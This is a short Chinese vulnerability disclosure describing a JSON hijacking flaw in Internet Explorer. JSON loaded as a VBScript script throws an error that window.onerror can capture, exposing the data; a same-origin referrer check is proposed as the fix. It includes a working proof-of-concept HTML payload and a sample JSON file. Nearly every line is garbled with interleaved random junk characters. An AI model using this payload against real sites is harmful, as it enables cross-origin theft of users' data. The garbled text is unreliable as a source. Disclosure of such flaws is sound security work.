简要描述:
) l, U; r/ g# w" ?1 C% z* _- Y6 k4 J, G6 z1 g7 j2 U! H
由于某些资源容器对数据处理不当导致json劫持漏洞.( \% z/ _) k: a2 P+ G6 e. g$ D$ z' z
详细说明:
" U; Q8 A# Z% A3 q" `; ~8 x由于ie支持vbscript,所以script元素可以指定成vbscript语言:7 s& ?: O/ w; W" x A
<script language=vbscript></script>" M7 g0 e0 o% @$ {4 U! |+ F& v
2 k2 Y3 |1 V% L3 I$ h4 }5 j# A6 r当但我们指定的是一个js格式的文件是将会发现一个异常,这使我们通过捕获这个异常的信息来获得部分json数据.
" g1 ^) @2 t1 N& c8 o: i- L漏洞证明:
9 C# r+ B8 H X, O! h7 @: D<script>
! ^7 `* O! L! ~window.onerror=function(_){5 d5 F2 r. R% o5 O
alert(_)
0 D( y4 Y& t* ^* o}& N$ ~- ^& V3 Q& I& _
</script>; m! l2 z! s2 V) T* Z% o
<script language=vbscript src=1.json></script>
; j9 R" }* J! W, ^
5 Q! `& g* u4 G* d9 ^
6 C( K) W7 b4 P- j1.json:
; k5 @' L1 e0 f[{"name":"sogili","age":19}]% W) S% Y' C+ `9 m2 ^( r2 E/ _: e: d
修复方案:" F7 w7 r6 I) p3 ?
网站业务对于这个问题可以通过验证referrer是否为同源来防御 |